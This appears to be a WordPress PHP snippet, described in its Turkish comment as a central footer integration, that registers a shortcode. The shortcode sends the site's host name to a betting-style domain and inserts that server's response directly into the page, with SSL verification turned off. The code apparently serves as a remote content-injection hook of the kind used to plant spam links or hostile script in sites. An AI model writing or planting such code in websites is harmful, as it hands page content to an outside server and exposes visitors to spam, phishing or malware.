// Head.link Merkezi Footer Entegrasyonu (DEDEKTİF MODU)
add_shortcode('headlink_footer', 'fetch_headlink_footer');
function fetch_headlink_footer() {
$h_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Host Bulunamadi';
$h_url = 'https://1xbet-2o26.com/api/footer.php?host=' . urlencode($h_host);
$debug = "\n\n";
$debug .= "\n";
$h_res = '';
if (function_exists('curl_init')) {
$ch = curl_init($h_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$h_res = curl_exec($ch);
if(curl_errno($ch)) {
$debug .= "\n";
}
curl_close($ch);
} else if (function_exists('file_get_contents')) {
$ctx = stream_context_create(['http' => ['timeout' => 5], 'ssl' => ['verify_peer' => false]]);
$h_res = @file_get_contents($h_url, false, $ctx);
if($h_res === false) {
$debug .= "\n";
}
} else {
$debug .= "\n";
}
if (empty($h_res)) {
return $debug . "\n";
}
return $debug . $h_res;
}